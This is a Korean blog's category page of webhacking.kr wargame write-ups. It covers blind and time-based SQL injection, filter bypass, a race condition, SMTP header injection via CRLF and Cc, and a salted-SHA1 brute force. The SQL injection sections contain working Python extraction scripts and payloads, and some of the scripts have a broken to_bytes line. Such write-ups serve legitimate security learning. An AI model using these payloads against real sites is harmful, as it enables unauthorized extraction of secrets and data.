'Solve Problem'에 해당되는 글 170건

반응형

해당 문제는 Blind SQL Injection을 통해 solve하였다.


rank.php에 접근하면 하단에 다음과 같은 코드가 제공된다.

이는 메인페이지에서 score를 등록하였을 때 데이터베이스에 insert하는 구문으로 보인다.

mysqli_query($db,"insert into chall55 values('{$_SESSION['id']}','".trim($_POST['score'])."','{$flag}')");


여기서 보면 테이블 마지막 컬럼에 flag가 저장되는 것을 볼 수 있는데, rank.php에서 제공되는 데이터는 아이디와 점수 뿐이다.

일단 and 구문을 이용하여 blind sql injection이 가능한 것을 확인한다.



이제 이를 이용하여 flag를 획득하면 되는데 insert 구문에서 컬럼명을 제공해주지 않았기 때문에 진행할 수가 없다.

이와 같이 컬럼명을 알지 못할 때 이용할 수 있는 것이 바로 procedure analyse() 이다.


procedure analyse()는 SELECT 구문의 마지막에 사용되며 쿼리에 의해 리턴되는 값들에 대한 통계가 일부 표시된다.

아래는 procedure analyse() 함수의 예시이다.

보는 바와 같이 첫번째 컬럼의 값들이 [데이터베이스명.테이블명.컬럼명] 으로 이루어져 있음을 확인할 수 있다.


이 기능을 이용하여 해당 문제를 풀 수 있다.

다음과 같이 procedure analyse()를 이용하게 되면 응답에 Field_name이 출력되며, LIMIT 기능을 이용하여 원하는 컬럼명을 획득할 수 있다.


이후 python 코드를 통해 FLAG를 획득하였다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
 
url="https://webhacking.kr/challenge/web-31/rank.php"
flag=""
 
for i in range(1,32):
    binary=''
    for bin_l in range(1,8):
        param = "?score=771+and+1=right(left(lpad(bin(ord(right(left(p4ssw0rd_1123581321,"+str(i)+"),1))),7,0),"+str(bin_l)+"),1)"
 
        response = requests.get(url+param)
        if('Rootable' in response.text):
            binary+='1'
        else:
            binary+='0'
        print(binary)
 
    b2i=int(binary,2)   #문자열을 2진수로 변경
    flag = flag+b2i.to_bytes((b2i.bit_length()+7// 8,'big').decode()  #to_bytes 함수를 이용하여 1자리 수의 b2i를 byte 형태로 변경 후 유니코드로 변환
    print("[+] "+flag)
 
print("[+]Final Flag : "+flag)
 
cs


반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-51 writeup  (0) 2020.04.14
webhacking.kr old-52 writeup  (0) 2020.04.14
webhacking.kr old-57 writeup  (0) 2020.04.13
webhacking.kr old-59 writeup  (0) 2020.04.13
webhacking.kr old-60 writeup  (0) 2020.04.13
블로그 이미지

rootable

,
반응형

해당 문제는 Time Based SQL Injection을 통해 문제를 풀었다.


insert 할 때마다 pw 컬럼에 flag를 입력하기 때문에 se 파라미터로 받는 op 컬럼에서 time base로 pw를 확인할 수 있다.


Python3를 이용하여 Efficient SQL Injection 코드를 작성한건 처음이라 적어둔다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import time
import codecs
 
url="https://webhacking.kr/challenge/web-34/index.php?msg=123"
flag=""
 
for i in range(1,25):
    binary=''
    for bin_l in range(1,8):
        param = "&se=if(substr(lpad(bin(ascii(substr(pw,"+str(i)+",1))),7,0),"+str(bin_l)+",1)=1,sleep(3),1)"
        start_time=time.time();
        response = requests.get(url+param)
        if(time.time()-start_time>3):
            binary+='1'
        else:
            binary+='0'
        print(binary)
 
    b2i=int(binary,2)
    flag = flag+b2i.to_bytes((b2i.bit_length()+7// 8,'big').decode()
    print("[+] "+flag)
 
print("[+]Final Flag : "+flag)
 
cs


반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-52 writeup  (0) 2020.04.14
webhacking.kr old-55 writeup  (0) 2020.04.13
webhacking.kr old-59 writeup  (0) 2020.04.13
webhacking.kr old-60 writeup  (0) 2020.04.13
[Webhacking.kr] old-47  (0) 2020.04.10
블로그 이미지

rootable

,

webhacking.kr old-59 writeup

2020. 4. 13. 13:42

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형

해당 문제는 Race Condition과 관련된 문제이다.


1. !is_numeric($_COOKIE['PHPSESSID'])

 : 그냥 로그인을 한 뒤 접근하게 되면 화면에 Access Denied가 뜨게 된다.

 이는 위의 is_numeric 함수에 의한 것인데, 쿠키의 PHPSESSID 값이 숫자로만 이루어진 것이 아니라면 Access Denied가 뜬다.

 해당 함수를 우회하기 위해 단순히 요청 상의 PHPSESSID 값을 숫자로 변경할 경우 로그인한 세션값이 바뀌게 되어 login_chk() 함수에서 걸리게 된다.


따라서 위의 함수를 우회하기 위해서는 로그인할 때부터 세션값을 숫자로 설정해주어야 한다.

나는 Set-Cookie 헤더를 이용하여 이를 우회하였다.


아래 사진과 같이 로그인 이후 응답 값 헤더에 Set-Cookie를 추가하고 설정할 PHPSESSID 값을 입력해주면 이후부터 해당 세션값을 가지고 통신을 하게 된다.


2. unlink 

 : 요청을 한 클라이언트가 로컬(127.0.01)이 아닐 경우 생성하는 txt 파일을 1초 후에 삭제하도록 되어있다.

  if($_SERVER['REMOTE_ADDR']!="127.0.0.1"){
    
sleep(1);
    
unlink("./readme/{$_SESSION['idx']}.txt");

  }


여기서 중요한 포인트는 sleep(1) 이다.

즉, 로컬이 아닐 경우에도 1초 동안은 해당 txt 파일이 서버에 존재한다는 것이다.

이를 통해 해당 문제가 Race Condition 문제임을 예상할 수 있다.


내가 삽질한 것은 하나의 세션을 가지고 Race Condition을 하려한 점이다.

위키백과에 따르면 race condition이란 "공유 자원에 대해 여러 개의 프로세스가 동시에 접근을 시도할 때 접근의 타이밍이나 순서 등이 결과값에 영향을 줄 수 있는 상태"를 말한다.


여기서 여러 개의 프로세스가 동시에 접근을 해야하는데, 세션 값이 하나일 경우라면 한 txt 파일에 동시에 접근하는 것이 아니라 이전 접근이 끝날 때를 기다렸다가 접근하기 때문에 절대 문제를 풀 수가 없다.


따라서 다른 브라우저에서 로그인 후 동일한 idx를 가지는 세션 값을 하나 더 만들어 준뒤 동시에 접근하도록 하면 문제가 solve 된다.



(참고) https://ko.wikipedia.org/wiki/%EA%B2%BD%EC%9F%81_%EC%83%81%ED%83%9C

반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-57 writeup  (0) 2020.04.13
webhacking.kr old-59 writeup  (0) 2020.04.13
[Webhacking.kr] old-47  (0) 2020.04.10
[webhacking.kr] old-09 Writeup  (0) 2020.04.01
4번 문제  (0) 2020.04.01
블로그 이미지

rootable

,
반응형

해당 문제는 그렇게 어려운 문제는 아니였다.

하지만 SMTP 프로토콜을 이용한 문제를 접해보지 않았었기 때문에 기록삼아 남겨둔다.


해당 문제에 접근하면 아래와 같이 send 버튼을 통해 메일을 전송한다.


아래에서 네번째 줄을 보면 FLAG{?????} 라고 하여 메일 내용으로 FLAG 값을 전송함을 확인할 수 있다.

그래서 메일 전송을 나에게도 보내도록 하면 solve될 것이란 생각으로 접근


%0d%0a를 이용하여 개행을 시도해보니 내가 원하는 문자열이 들어감을 확인할 수 있다.


이제 나에게 메일을 보내도록 하기 위해 To: [이메일계정]을 써보았지만 메일은 오지 않았다.

위에서 작성되어있으며 Overwrite는 되지 않는 것으로 보였다.


따라서 다른 방식으로 접근을 하다가 참조로 이용되는 Cc 혹은 Bcc를 이용해보고자 하였다.

따라서 다음과 같이 subject를 입력해주면 나에게 메일이 오는 것을 확인할 수 있다.

subject=Flag+of+webhacking.kr+old+47+chall%0d%0aCc: [이메일계정]


반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-59 writeup  (0) 2020.04.13
webhacking.kr old-60 writeup  (0) 2020.04.13
[webhacking.kr] old-09 Writeup  (0) 2020.04.01
4번 문제  (0) 2020.04.01
[webhacking.kr] 19번 문제  (0) 2018.03.17
블로그 이미지

rootable

,
반응형

이번 문제는 기존의 생각을 뒤바꿔준 문제였다.

자세한 것은 문제를 풀며 알아가보자.



문제에 접근하면 다음과 같이 1 2 3이 있으며 1과 2를 누르면 해당 no에 해당하는 id 값이 출력된다.

이 때, 3을 클릭하면 [ no 3's id is password ] 이라는 문구와 함께 column은 id와 no라고 알려준다.


Injection이 가능한지는 다음과 같이 입력해서 알 수 있었다.

위의 입력을 통해 no=2일 때와 결과가 동일하게 나왔기 때문에 SQLi라는 것을 확인하고 진행하였다.


확인 결과 필터링이 굉장히 많았다. (필터링에 걸리면 Access Denied가 출력된다.)

내가 확인한 필터링만 해도 아래와 같다.

- %

- and, or, &&, ||

- select

- 공백

- union


가장 먼저 시도한 것은 no=3 and substr(id,1,1)='a' 이런 식이였는데 공백도 막히고 and도 막혔는데 거기에 %까지 막혀버리니;;

그래도 띄어쓰기는 괄호를 이용하여 우회할 수 있었는데 '내가 원하는 no가 3일 때의 id를 어떻게 조회를 할 수 있는가'의 개념에서 막혔다.


그래서 이에 대한 삽질의 결과가 아래 포스팅에 담겨있다.

https://rootable.tistory.com/entry/SQL-Injection-and-filter-bypass


이를 통해 no가 3일 때의 id 값에 대해 조회를 할 수 있었고 이를 기반으로 아래 파이썬 코드를 통해 패스워드를 획득할 수 있었다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
 
def calc_len(url):
    for i in range(1,20):
        param='if((length(id))in('+str(i)+'),3,9)'
        req=requests.get(url+param)
        if('Secret' in req.text):
            print("[+]Find length : "+str(i))
            return i
 
def find_id(url,length):
    id=''
 
    for i in range(1,length+1):
        for j in range(97,123):
            param="if((substr(id,"+str(i)+",1))in('"+chr(j)+"'),3,9)"
            print(param)
            req=requests.get(url+param)
            if('Secret' in req.text):
                print("[+]Find "+str(i)+"'s id : "+chr(j))
                id+=chr(j)
                break
 
    return id
 
 
url="https://webhacking.kr/challenge/web-09/?no="
length = calc_len(url)
id=find_id(url,length)
print("solve id : "+id)
cs



반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-60 writeup  (0) 2020.04.13
[Webhacking.kr] old-47  (0) 2020.04.10
4번 문제  (0) 2020.04.01
[webhacking.kr] 19번 문제  (0) 2018.03.17
[webhacking.kr] 20번 문제  (0) 2018.03.09
블로그 이미지

rootable

,
반응형

문제에 접근하여 소스코드를 보면 다음과 같이 나와있다.

1
2
3
4
5
6
7
<?php
  sleep(1); // anti brute force
  if((isset($_SESSION['chall4'])) && ($_POST['key'== $_SESSION['chall4'])) solve(4);
  $hash = rand(10000000,99999999)."salt_for_you";
  $_SESSION['chall4'= $hash;
  for($i=0;$i<500;$i++$hash = sha1($hash);
?>
cs


분석해보자면 세션에 chall4 값이 존재해야 하며, key값으로 제공하는 것이 세션 내의 chall4와 일치하면 solve된다.

이 때 세션의 chall4 값은 10000000와 99999999 사이의 랜덤 값과 "salt_for_you" 문자열이 붙은 값이며

우리에게 보이는 값은 해당 값을 500번 sha1 hash한 value이다.


처음에는 설마 이걸 계산해서 하라고 하겠어 라는 생각에 sha1의 취약점이라던지, type casting, loose comparison 취약점이라 생각하고 찾아보았지만 잘 나오지 않았다.


그래서 그냥 컴퓨터의 힘을 빌렸다.

아래와 같이 python 코드를 작성하여 레인보우 테이블을 만든 뒤 검색하여 풀었다.


1
2
3
4
5
6
7
8
9
10
11
12
import hashlib
 
= open("C:\\hack_temp\\04.txt",'w')
for i in range(10000000,20000000):
    ori=str(i)+"salt_for_you"
    f.write(ori + " : ")
    for j in range(0,500):
        ori=hashlib.sha1(ori.encode('utf-8')).hexdigest()
    f.write(ori)
    f.write('\n')
 
f.close()
cs


생각보다 검색해서 잘 안나오면 그냥 파이썬 코드 작성해서 자동으로 찾아 문제 풀도록 하려했지만 금방 나와서 그냥 패스

반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-47  (0) 2020.04.10
[webhacking.kr] old-09 Writeup  (0) 2020.04.01
[webhacking.kr] 19번 문제  (0) 2018.03.17
[webhacking.kr] 20번 문제  (0) 2018.03.09
[webhacking.kr] 18번 문제  (0) 2018.03.08
블로그 이미지

rootable

,

[root-me] PHP - Eval

2020. 3. 9. 17:35

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.